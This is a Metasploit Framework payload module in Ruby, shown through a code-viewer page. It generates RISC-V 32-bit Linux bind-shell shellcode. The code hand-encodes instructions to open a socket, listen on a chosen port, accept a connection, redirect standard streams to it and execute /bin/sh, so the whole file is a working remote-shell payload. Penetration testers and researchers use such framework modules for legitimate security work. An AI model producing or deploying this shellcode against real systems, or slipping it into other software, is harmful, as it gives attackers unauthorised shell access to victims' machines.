Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/payloads/singles/linux/riscv32le/shell_bind_tcp.rb
28811 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
module MetasploitModule
7
CachedSize = 180
8
9
include Msf::Payload::Single
10
include Msf::Payload::Linux
11
include Msf::Sessions::CommandShellOptions
12
13
SYS_SOCKET = 198
14
SYS_BIND = 200
15
SYS_LISTEN = 201
16
SYS_ACCEPT = 202
17
SYS_DUP3 = 24
18
SYS_EXECVE = 221
19
AF_INET = 2
20
SOCK_STREAM = 1
21
IPPROTO_IP = 0
22
23
def initialize(info = {})
24
super(
25
merge_info(
26
info,
27
'Name' => 'Linux Command Shell, Bind TCP Inline',
28
'Description' => 'Listen for a connection and spawn a command shell',
29
'Author' => [
30
'modexp', # bind.s RISC-V 64-bit shellcode
31
'bcoles', # RISC-V 32-bit shellcode port and metasploit
32
],
33
'License' => BSD_LICENSE,
34
'Platform' => 'linux',
35
'Arch' => [ ARCH_RISCV32LE ],
36
'References' => [
37
['URL', 'https://modexp.wordpress.com/2022/05/02/shellcode-risc-v-linux/'],
38
['URL', 'https://github.com/bcoles/shellcode/blob/main/riscv32/bindshell/bind.s'],
39
['URL', 'https://web.archive.org/web/20230326161514/https://github.com/odzhan/shellcode/commit/d3ee25a6ebcdd21a21d0e6eccc979e45c24a9a1d'],
40
],
41
'Handler' => Msf::Handler::BindTcp,
42
'Session' => Msf::Sessions::CommandShellUnix
43
)
44
)
45
end
46
47
# Encode a RISC-V LUI (Load Upper Immediate) instruction
48
def encode_lui(rd, imm20)
49
0b0110111 | ((imm20 & 0xfffff) << 12) | (rd << 7)
50
end
51
52
# Encode a RISC-V ADDI (Add Immediate) instruction
53
def encode_addi(rd, rs1, imm12)
54
0b0010011 | ((imm12 & 0xfff) << 20) | (rs1 << 15) | (0b000 << 12) | (rd << 7)
55
end
56
57
# Emit RISC-V instruction words that build an arbitrary 32-bit constant in a chosen register using LUI+ADDI.
58
def load_const_into_reg32(const, rd)
59
raise ArgumentError, "Constant '#{const}' is #{const.class}; not Integer" unless const.is_a?(Integer)
60
61
max_const = 0xFFFF_FFFF
62
63
raise ArgumentError, "Constant #{const} is outside range 0..#{max_const}" unless const.between?(0, max_const)
64
65
if const >= -2048 && const <= 2047
66
return [encode_addi(rd, 0, const)]
67
end
68
69
upper = (const + 0x800) >> 12
70
low = const & 0xfff
71
[
72
encode_lui(rd, upper),
73
encode_addi(rd, rd, low)
74
]
75
end
76
77
def generate(_opts = {})
78
return super unless datastore['LPORT']
79
80
lport = datastore['LPORT'].to_i
81
sockaddr_word = AF_INET | ([lport].pack('n').unpack1('v') << 16)
82
83
shellcode = [
84
# prepare stack
85
0xff010113, # addi sp,sp,-16
86
87
# s = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
88
*load_const_into_reg32(SYS_SOCKET, 17), # li a7,198 # SYS_socket
89
*load_const_into_reg32(IPPROTO_IP, 12), # li a2,0 # IPPROTO_IP
90
*load_const_into_reg32(SOCK_STREAM, 11), # li a1,1 # SOCK_STREAM
91
*load_const_into_reg32(AF_INET, 10), # li a0,2 # AF_INET
92
0x00000073, # ecall
93
94
# bind(s, &sa, sizeof(sa));
95
0x00050693, # mv a3,a0 # a3 = s
96
*load_const_into_reg32(SYS_BIND, 17), # li a7,200 # SYS_bind
97
*load_const_into_reg32(16, 12), # li a2,16 # sizeof(sockaddr_in)
98
*load_const_into_reg32(sockaddr_word, 11), # li a1,<packed> # sin_family=AF_INET, sin_port=port, sin_addr=INADDR_ANY
99
0x00b12023, # sw a1,0(sp) # store first 8 bytes (family+port+addr) at stack
100
0x00012223, # sw 0,4(sp) # sin_addr
101
0x00012423, # sw 0,8(sp) # sin_zero
102
0x00012623, # sw 0,12(sp) # sin_zero
103
0x00010593, # mv a1,sp # a1 = &sa
104
0x00068513, # mv a0,a3 # a0 = s
105
0x00000073, # ecall
106
107
# listen(s, 1);
108
*load_const_into_reg32(SYS_LISTEN, 17), # li a7,201 # SYS_listen
109
0x00100593, # li a1,1 # backlog = 1
110
0x00068513, # mv a0,a3 # a0 = s
111
0x00000073, # ecall
112
113
# r = accept(s, 0, 0);
114
*load_const_into_reg32(SYS_ACCEPT, 17), # li a7,202 # SYS_accept
115
0x00000613, # li a2,0 # addrlen = NULL
116
0x00000593, # li a1,0 # addr = NULL
117
0x00068513, # mv a0,a3 # a0 = s
118
0x00000073, # ecall
119
120
# dup stdin/stdout/stderr
121
0x00050713, # mv a4,a0
122
*load_const_into_reg32(SYS_DUP3, 17), # li a7,24 # SYS_dup3
123
*load_const_into_reg32(3, 11), # li a1,3 # start from STDERR_FILENO + 1 = 3
124
# c_dup:
125
0x00070513, # mv a0,a4
126
0xfff58593, # addi a1,a1,-1
127
0x00000073, # ecall
128
0xfe059ae3, # bnez a1,100ec <c_dup>
129
130
# execve("/bin/sh", NULL, NULL);
131
*load_const_into_reg32(SYS_EXECVE, 17), # li a7,221
132
*load_const_into_reg32(0x6e69622f, 5), # "/bin"
133
0x00512023, # sw t0,0(sp)
134
*load_const_into_reg32(0x0068732f, 5), # "/sh\0"
135
0x00512223, # sw t0,4(sp)
136
0x00010513, # mv a0,sp # path = /bin/sh
137
0x00000593, # li a1,0 # argv = NULL
138
0x00000613, # li a2,0 # envp = NULL
139
0x00000073 # ecall
140
].pack('V*')
141
142
# align our shellcode to 4 bytes
143
shellcode += "\x00" while shellcode.bytesize % 4 != 0
144
145
super.to_s + shellcode
146
end
147
end
148
149